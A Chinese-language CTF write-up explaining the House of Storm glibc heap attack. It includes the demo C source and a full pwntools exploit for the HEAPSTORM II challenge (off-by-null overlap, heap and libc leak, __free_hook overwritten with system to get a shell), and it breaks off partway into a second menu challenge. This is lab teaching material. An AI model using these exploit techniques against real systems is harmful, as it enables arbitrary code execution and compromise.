This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.

Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.

This attack allows arbitrary chunks to be returned
to the user!

Written by Maxwell "Strikeout" Dulin
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x10];
char target[0x60];

void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// clearenv();
}

// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){

int shift_amount = 0;
long long ptr = (long long)pointer;

while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}

return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}

int main(){

init();

char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

puts("House of Storm");
puts("======================================");
puts("Preparing chunks for the exploit");
puts("Put one chunk into unsorted bin and the other into the large bin");
puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0

// prevent merging
malloc ( 0x18 );

puts("Find the proper chunk size to allocate.");
puts("Must be exactly the size of the written chunk from above.");
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.

So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.

NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %d\n", shift_amount);

size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
printf("In this case, the chunk size is 0x%lx\n", alloc_size);

// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.

Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped

If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.

So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.

The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Allocation size has bit 4 of the size set or ");
puts("mmap and non-main arena bit check will fail");
puts("Please try again! :)");
puts("Exiting...");
return 1;

}

large_bin = malloc ( 0x4d8 ); // size 0x4e0
// prevent merging
malloc ( 0x18 );

// FIFO
free ( large_bin ); // put small chunks first
free ( unsorted_bin );

// Put the 'large bin' chunk into the large bin
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);

/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.

In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/

// The address that we want to write to!
fake_chunk = target - 0x10;

puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator");

/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.

This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.

After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.

Vulnerability!!
*/
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk

// Only needs to be a valid address.
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->bk

puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
puts("of your fake chunk.");
puts("Misalign the location in order to use the primitive as a SIZE value.");
puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
puts("Vulnerability #2!");
puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.

So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.

The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12

Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.

Second vulnerability!!!
*/
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize

/*
At this point, we've corrupted everything in just the right
way so this should work.

The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.

This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/

puts("Make allocation of the size that the value will be written for.");
puts("Once the allocation happens, the madness begins");
puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to ");
puts("write a fake 'size' value to the location of our target.");
puts("After this, the target will have a valid size.");
puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid");
puts("size and remove it from the bin.");
puts("With this, we have pulled out an arbitrary chunk!");

printf("String before: %s\n", target);
printf("String pointer: %p\n", target);

ptr = malloc(alloc_size);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);

printf("String after %s\n", target);
printf("Fake chunk ptr: %p\n", ptr);

return 0;
}

调试



首先布置堆结构,get_shift_amount()函数计算fake_chunk_size偏移,这个偏移一般来说,开了PIE5,不开PIE2alloc_size在经过与0xffffffffffe(111111111111111111111111111111111110)取与运算后,PREV_INUSE位将被置为0,然后减去0x10后变为需要申请的用户大小0x50

这里判断alloc_size是否符合要求。与0x8(1000)取与运算不为0说明不是fast_chunk大小,不符合要求; 与0x4(0100)取与运算等于0x4则说明NON_MAIN_ARENA位为1,不属于主堆区,不符合要求;与0x2(0010)取与运算不等于0x2(0010)则说明IS_MAPPED位不等于为1,符合要求(绕个弯子)。




接下来申请largebin_chunk,并将unsorted_binlarge_bin两个堆块都放入unsorted bin中。再次申请0x4e8大小堆块并释放,会将0x4e1大小的堆块放入large_bin,将0x4f1大小的堆块放进unsorted bin,满足unsortedbin_chunk > largebin_chunk并且在大小在同一区域内。

接下来完成任意地址申请,我们要控制target区域,在其fake_chunk=target-0x10位置申请。

((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->bk
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize


构建如上图的堆结构,后面解释原因。

此时申请一个0x50大小的堆块会经过以下两个变化。

unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);// bck==fake_chunk

unsorted_chunks(av)->bk = fake_chunk;fake_chunk+0x10(fake_chunk_fd) = unsorted_chunks(av)

/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */

else
{
victim->fd_nextsize = fwd; //victim==unsortedbin_chunk; fwd == largebin_chunk;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

然后执行如上代码,unsorted_chunk_bk_nextsize首先指向fake_chunk-0x18-2,然后unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-2+0x20)改为unsorted_chunk (此时fake_chunk的size被改为0x60)。然后将bck(fake_chunk+0x8)fd(fake_chunk+0x8+0x10)指向unsorted_chunk,伪造了fake_chunk_bk

最后成功向目标位置写入内容。

检查文件信息



ELF64小端序程序。




保护全开。




改 glibc 为 2.23。

试运行

逆向分析

/* main 函数 */

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]

v4 = Init();
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Update(v4);
break;
case 3LL:
Delete(v4);
break;
case 4LL:
View(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
/* menu 函数 */
int menu()
{
puts("1. Allocate");
puts("2. Update");
puts("3. Delete");
puts("4. View");
puts("5. Exit");
return printf("Command: ");
}

/* Init 函数 */
__int64 Init()
{
int i; // [rsp+8h] [rbp-18h]
int fd; // [rsp+Ch] [rbp-14h]

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== HEAP STORM II =====");
if ( !mallopt(1, 0) ) // 关闭fastbin分配
exit(-1);
if ( mmap((void *)0x13370000, 0x1000uLL, 3, 34, -1, 0LL) != (void *)0x13370000 ) // 在0x13370000处 mmap出了一片空间作为heaparray
exit(-1);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
exit(-1);
if ( read(fd, (void *)0x13370800, 0x18uLL) != 0x18 ) // 读入 3 个 0x8 大小的随机数, r1, r2, r3。
exit(-1);
close(fd);
MEMORY[0x13370818] = MEMORY[0x13370810]; // r4 = r3
for ( i = 0; i <= 15; ++i )
{
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370800) = flower_1(0x13370800LL, 0LL); // ptr = r1 ^ 0
*(_QWORD *)(0x10 * (i + 2LL) + 0x13370808) = flower_2(0x13370800LL, 0LL); // size = r2 ^ 0
}
return 0x13370800LL;
}

/* alloc 函数 */
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i ) // 0~15
{
if ( !flower_2(a1, *(_QWORD *)(0x10 * (i + 2LL) + a1 + 8)) )
{
printf("Size: ");
size = get_num();
if ( size > 0xC && size <= 0x1000 )
{
v3 = calloc(size, 1uLL);
if ( !v3 )
exit(-1);
*(_QWORD *)(0x10 * (i + 2LL) + a1 + 8) = flower_2(a1, size);
*(_QWORD *)(0x10 * (i + 2LL) + a1) = flower_1(a1, v3);
printf("Chunk %d Allocated\n", (unsigned int)i);
}
else
{
puts("Invalid Size");
}
return;
}
}
}
/* 不难推测结构体 */
struct Heap
{
void* ptr;
uint size;
};

/* update */
int __fastcall Update(__int64 a1)
{
signed int idx; // [rsp+10h] [rbp-20h]
int size; // [rsp+14h] [rbp-1Ch]
__int64 v4; // [rsp+18h] [rbp-18h]

printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return puts("Invalid Index");
printf("Size: ");
size = get_num();
if ( size <= 0 || size > (unsigned __int64)(flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) - 12) )// size-0xC
return puts("Invalid Size");
printf("Content: ");
v4 = flower_1(a1, *(_QWORD *)(16 * (idx + 2LL) + a1));
read_n(v4, size);
strcpy((char *)(size + v4), "HEAPSTORM_II"); // off-by-null,读满会把 '\x00' 复制过去。
return printf("Chunk %d Updated\n", (unsigned int)idx);
}

/* del 函数 */
int __fastcall Delete(__int64 a1)
{
void *v2; // rax
signed int idx; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8)) )
return puts("Invalid Index");
v2 = (void *)flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
free(v2);
*(_QWORD *)(0x10 * (idx + 2LL) + a1) = flower_1(a1, 0LL);
*(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8) = flower_2(a1, 0LL);
return printf("Chunk %d Deleted\n", (unsigned int)idx);
}

/* view 函数 */
int __fastcall View(__int64 a1)
{
__int64 v2; // rbx
__int64 v3; // rax
signed int idx; // [rsp+1Ch] [rbp-14h]

if ( (*(_QWORD *)(a1 + 0x18) ^ *(_QWORD *)(a1 + 0x10)) != 0x13377331LL ) // 条件 r3 ^ r2== 0x13377331
return puts("Permission denied");
printf("Index: ");
idx = get_num();
if ( (unsigned int)idx > 0xF || !flower_2(a1, *(_QWORD *)(16 * (idx + 2LL) + a1 + 8)) )
return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)idx);
v2 = flower_2(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1 + 8));
v3 = flower_1(a1, *(_QWORD *)(0x10 * (idx + 2LL) + a1));
write_n(v3, v2);
return puts(byte_180A);
}

漏洞利用

我们知道 heaparray 的地址,可以使用 house_of_storm 实现任意地址申请 chunk,这样我们就能控制r3,r4的值,使得show可以使用。然后正常泄露 heap 和 libc ,正常修改各种 hook 即可。

前置脚本

from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

def connect():
global r, elf, libc
r = process('./heapstorm2')
elf = ELF("./heapstorm2")
libc = elf.libc

is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(r, gdbscript=gdbscript)
pause()
else:
pass

def add(size):
r.recvuntil(b"Command: ")
r.sendline(str(1).encode())
r.recvuntil(b"Size: ")
r.sendline(str(size).encode())

def delete(index):
r.recvuntil(b"Command: ")
r.sendline(str(3).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())

def show(index):
r.recvuntil(b"Command: ")
r.sendline(str(4).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())

def edit(index,content):
r.recvuntil(b"Command: ")
r.sendline(str(2).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
r.recvuntil(b"Size: ")
r.sendline(str(len(content)).encode())
r.recvuntil(b"Content: ")
r.send(content)

布置堆结构

def overlapping():
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2 prev_size 0x510
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5 prev_size 0x510
add(0x18) # 6
#debug() # d1 ----------------------------------

'''覆盖 idx_7'''
edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
delete(1)
#debug() # d2 ----------------------------------
edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(0x18) # 1
add(0x4d8) # 7
#debug() # d4 ----------------------------------
delete(1)
delete(2)
#debug() # d5 ----------------------------------

add(0x38) # 1
add(0x4e8) # 2 0x4f0 + 0x40 = 0x530

'''覆盖 idx_8'''
edit(4, b'a'*0x4f0 + p64(0x500))
delete(4)
edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
add(0x18) # 4
add(0x4d8) # 8
delete(4)
delete(5)

add(0x48) # 4 0x530 - 0x50 = 0x4e0
#debug() # d6 ----------------------------------

delete(2)
#debug() # d7 ----------------------------------
add(0x4e8) # 2 把0x4e1的chunk放入到largebin中
#debug() # d8 ----------------------------------
delete(2) # 把0x4F1的chunk放入到unsorted bin中
#debug() # d9 ----------------------------------

首先布置如下堆结构。




写入 fake_prev_size (0x500) ,然后利用 off-by-null 将 idx_1 的 size 改为 0x500,以便切割时绕过检查。然后申请 0x20 + 0x4e0 的堆块将 0x500 申请出来,此时堆结构如下,此时 idx_2_prev_size = 0x510,释放时会寻找到 idx_1_prev_size 的位置。



......


然后 free(1) ,在 free(2) 后,可以绕过 unlink 检查。然后将 inuse_idx_7 覆盖。再次申请 0x40 + 0x4f0 = 0x530 大小的 chunk ,将 bins 清空。此时 idx_7_fd -> (unsorted_prev_size - 0x10) 。同理,再次制造 idx_8_fd -> (large_chunk_prev_size-0x20)。然后将 0x4e0 大小的 chunk 放进 large bin,将 0x4f0 大小的 chunk 放进 unsorted bin,以便后续攻击。

leak

def leak():
global free_hook, storage, system, str_bin_sh
storage = 0x13370800
fake_chunk = storage - 0x20
payload = b'\x00' * 0x10
payload += p64(0) + p64(0x4f1)
payload += p64(0) + p64(fake_chunk)
edit(7, payload)
#debug() # d10 ----------------------------------

payload = b'\x00' * 0x20
payload += p64(0) + p64(0x4e1)
payload += p64(0) + p64(fake_chunk+0x8)
payload += p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
#debug() # d11 ----------------------------------

add(0x48) # 2 0x133707e0
#debug() # d12 ----------------------------------

payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
#debug()
payload = p64(0)*2 + p64(0) + p64(0x13377331)
payload += p64(storage) + p64(0x1000) # chunk0 addr size
payload += p64(fake_chunk+3) + p64(8) # chunk1 addr size
edit(0, payload)
#debug()

show(1)
r.recvuntil(b"]: ")
heap = u64(r.recv(6).ljust(8, b'\x00'))
success("heap:"+hex(heap))

payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
edit(0, payload)

show(1)
r.recvuntil(b"]: ")
malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
str_bin_sh = next(libc.search(b'/bin/sh\x00'))
success("malloc_hook:"+hex(malloc_hook))

我们可以通过在 0x13370800 附近申请 0x50 大小的堆块篡改 r3 , r4 来达到 show 的条件。那么 fake_chunk_size 就需要为 0x56 大小,因为 0x56 = 0101 0110B, 可以绕过 mmap 检查,只有地址随机化到 0x56 开头是才可利用成功。需要注意的是 unsortedbin_chunk_size > largebin_chunk_size。




通过 idx_7 修改 unsorted_chunk_bk = fake_chunk_prev_size。




通过 idx_8 修改 largebin_chunk_bk = fake_chunk+0x8,largebin_chunk_bk_nextsize = fake_chunk+0x18-5(截取0x56,因为64位随机化只会随机到 0x55 和 0x56 ,而只有0x56能绕过mmap检查)。

此时去申请一个用户区 0x48 大小 chunk,会执行如下代码。

unsorted_chunks(av)->bk = unsorted_chunk->bk;
bck->fd = unsorted_chunks(av);

unsorted_chunks(av) 的 bk 指向 fake_chunk。bck->fd = fake_chunk_fd,fake_chunk + 0x10 将指向 unsorted_chunks(av)伪造了 fake_chunk_fd 指针和 unsorted 头的 bk 指针,将其添加到了 unsorted bin 中。

/* unsortedbin_chunks_size > largebin_chunks_size 将执行如下代码 */
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

然后执行如上代码,unsorted_chunk_bk_nextsize 首先指向 fake_chunk-0x18-5 ,然后 unsorted_chunk->bk_nextsize->fd_nextsize (fake_chunk-0x18-5+0x20) 指向 unsorted_chunk (此时fake_chunk的size被改为0x56)。然后将 bck(fake_chunk+0x8) 的 fd(fake_chunk+0x8+0x10) 指向 unsorted_chunk_prev_size,伪造了 fake_chunk_bk。





申请的用户区 0x48 的堆块将会把 fake_chunk 摘除来,并且 idx=2。然后把 r3(0x13370810) 改为 0,r4(0x13377818) 改为 0x13377331,即可绕过show检查。alloc 的时候,我们申请 0 堆块是从 0x13370820开始的。我们 edit(2) 是将其地址指向了 0x13370800,我们再去 edit(0) ,保留原来的可以调用 show 的结构,将 chunk0 指向 0x13370800 ,将其大小改为 0x1000,然后将 chunk1 指向 fake_chunk+0x3(也就是原来 unsorted bin 的地址,开始我们截取了0x56作为size那个地址) ,将其大小改为 0x8 (size_t)。因为用于异或的 r1, r2, r3都被改为了0。所以不必担心异或处理。此时 show(1) 即可将堆地址(unsortedbin_chunk)泄露出来。




泄露出来的堆地址 unsortedbin_chunk_fd 指向了 libc 地址,同理将其输出即可,然后根据固定偏移计算得到 malloc_hook, free_hook, system, str_bin_sh地址即可。

getshell

def get_shell():
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
edit(0, payload)
edit(1, p64(system))
delete(2)
r.interactive()

最后,我们只需要将 free_hook 地址改为 system 地址,然后将 idx2 指向 str_bin_sh 地址,并 free(2) 即可 getshell。


完整exp

from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

def connect():
global r, elf, libc
r = process('./heapstorm2')
elf = ELF("./heapstorm2")
libc = elf.libc

is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(r, gdbscript=gdbscript)
pause()
else:
pass

def add(size):
r.recvuntil(b"Command: ")
r.sendline(str(1).encode())
r.recvuntil(b"Size: ")
r.sendline(str(size).encode())

def delete(index):
r.recvuntil(b"Command: ")
r.sendline(str(3).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())

def show(index):
r.recvuntil(b"Command: ")
r.sendline(str(4).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())

def edit(index,content):
r.recvuntil(b"Command: ")
r.sendline(str(2).encode())
r.recvuntil(b"Index: ")
r.sendline(str(index).encode())
r.recvuntil(b"Size: ")
r.sendline(str(len(content)).encode())
r.recvuntil(b"Content: ")
r.send(content)

def overlapping():
add(0x18) # 0
add(0x508) # 1
add(0x18) # 2 prev_size 0x510
add(0x18) # 3
add(0x508) # 4
add(0x18) # 5 prev_size 0x510
add(0x18) # 6
#debug() # d1 ----------------------------------

'''覆盖 idx_7'''
edit(1, b'a'*0x4f0 + p64(0x500)) # fake_prev_size
delete(1)
#debug() # d2 ----------------------------------
edit(0, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
#debug() # d3 ----------------------------------
add(0x18) # 1
add(0x4d8) # 7
#debug() # d4 ----------------------------------
delete(1)
delete(2)
#debug() # d5 ----------------------------------

add(0x38) # 1
add(0x4e8) # 2 0x4f0 + 0x40 = 0x530

'''覆盖 idx_8'''
edit(4, b'a'*0x4f0 + p64(0x500))
delete(4)
edit(3, b'a'*(0x18-0xC)) # 0xC for str & off-by-null 0x511->0x500
add(0x18) # 4
add(0x4d8) # 8
delete(4)
delete(5)

add(0x48) # 4 0x530 - 0x50 = 0x4e0 idx_8
#debug() # d6 ----------------------------------

delete(2)
#debug() # d7 ----------------------------------
add(0x4e8) # 2
#debug() # d8 ----------------------------------
delete(2)
#debug() # d9 ----------------------------------

def leak():
global free_hook, storage, system, str_bin_sh
storage = 0x13370800
fake_chunk = storage - 0x20
payload = b'\x00' * 0x10
payload += p64(0) + p64(0x4f1)
payload += p64(0) + p64(fake_chunk)
edit(7, payload)
#debug() # d10 ----------------------------------

payload = b'\x00' * 0x20
payload += p64(0) + p64(0x4e1)
payload += p64(0) + p64(fake_chunk+0x8)
payload += p64(0) + p64(fake_chunk-0x18-5)
edit(8, payload)
#debug() # d11 ----------------------------------

add(0x48) # 2 0x133707e0
#debug() # d12 ----------------------------------

payload = p64(0)*4 + p64(0) + p64(0x13377331) + p64(storage)
edit(2, payload)
#debug()
payload = p64(0)*2 + p64(0) + p64(0x13377331)
payload += p64(storage) + p64(0x1000)
payload += p64(fake_chunk+3) + p64(8)
edit(0, payload)
#debug()

show(1)
r.recvuntil(b"]: ")
heap = u64(r.recv(6).ljust(8, b'\x00'))
success("heap:"+hex(heap))

payload = p64(0)*2 + p64(0) + p64(0x13377331)
payload += p64(storage) + p64(0x1000)
payload += p64(heap+0x10) + p64(8)
edit(0, payload)
#debug()

show(1)
r.recvuntil(b"]: ")
malloc_hook = u64(r.recv(6).ljust(8, b'\x00')) -0x58 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
str_bin_sh = next(libc.search(b'/bin/sh\x00'))
success("malloc_hook:"+hex(malloc_hook))

def get_shell():
payload = p64(0)*2 + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000)
payload += p64(free_hook) + p64(0x100) + p64(str_bin_sh) + p64(8)
edit(0, payload)
edit(1, p64(system))
delete(2)
r.interactive()

def pwn():
connect()
overlapping()
leak()
get_shell()

if __name__ == "__main__":
pwn()

这是我学off-by-null时出的一道题。靶场地址(https://www.polarctf.com/)

检查文件信息

ELF64位小端序程序,动态链接。

除了FODRTIFY保护,其余保护全开。

patchelf --replace-needed libc.so.6 ./libc-2.23.so ./562+5Liq5Yiw
patchelf --set-interpreter ./ld-2.23.so ./562+5Liq5Yiw

将环境修改为题目的运行环境。

逆向分析

__int64 sub_A9D()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m");
puts("1.Add a Chicken.");
puts("2.Delete a Chicken.");
puts("3.Cook a chicken.");
puts("4.Chicken you are so beautiful.");
puts("5.EXIT.");
_isoc99_scanf("%d", &v1);
return v1;
}

sub_A9D()函数为程序菜单。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h]

sub_A50(a1, a2, a3);
malloc(1uLL);
puts(
"==:.........................................................................=..::::..=:::::::::::\n"
"===-:.......................................................................=..=-:=:.=:.:::::::::\n"
"=====-......................................................................=..-:.=:.=:..::::::::\n"
"=======:.........................................:..........................=..:--=..=:...:::::::\n"
"========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
"==========-....................................:+**###+:....................=-::-----=:......::::\n"
"===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
"::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
"::::::--===-...........................#++++++#*-#++##:..........................................\n"
"::::::::-==-..........................*++++++++#:+++++*..........................................\n"
"::::::::::--..........................+++++++++#++#++++-.........................................\n"
"::::::::::::..........................#++++++++#++#++++=.........................................\n"
":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
"..:::::::::::::........................*+++++#++++++#++:.........................................\n"
"....:::::::::::::.......................#++++#=++++++#*..........................................\n"
"......:::::::::::::.....................++*##**#++++#=:..........................................\n"
"........:::::::::::::..................-==++++++*##*=:...........................................\n"
".........:::::::::::::................-======+==+++..............................................\n"
"...........:::::::::::::..............-===+++++++++-.............................................\n"
".............:::::::::::::...........:===++++++++++=:............................................\n"
"...............:::::::::::::.........===++*+-=***+++=............................................\n"
"................::::::::::::::......-=+++*=...-*++++=............................................\n"
"..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
"....................:::::::::::::..==+++-.......+++++-...........................................\n"
"......................::::::::::::-=++*=........:*+++=...........................................\n"
"........................::::::::::=+++-..........:+*++-.........................................:\n"
".........................::::::::-==+=:...........:+===........................................::\n"
"::::.......................:::::-==++::::..........====:......................................:::\n"
"::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
"::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
"::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v4 = sub_A9D();
if ( v4 != 1 )
break;
sub_BFC();
}
if ( v4 != 2 )
break;
sub_D28();
}
if ( v4 != 3 )
break;
sub_EB3();
}
if ( v4 != 4 )
break;
sub_1005();
}
return 0LL;
}

可以看到是一道菜单题。

__int64 sub_BFC()
{
int v1; // [rsp+4h] [rbp-Ch]
int *v2; // [rsp+8h] [rbp-8h]

v1 = sub_B34();
if ( v1 == -1 )
{
puts("\x1B[1;31m The chicken nest collapsed!!! \x1B[0m");
}
else
{
v2 = (int *)malloc(0x20uLL);
puts("\x1B[1;33m Give me the size of the chicken. \x1B[0m");
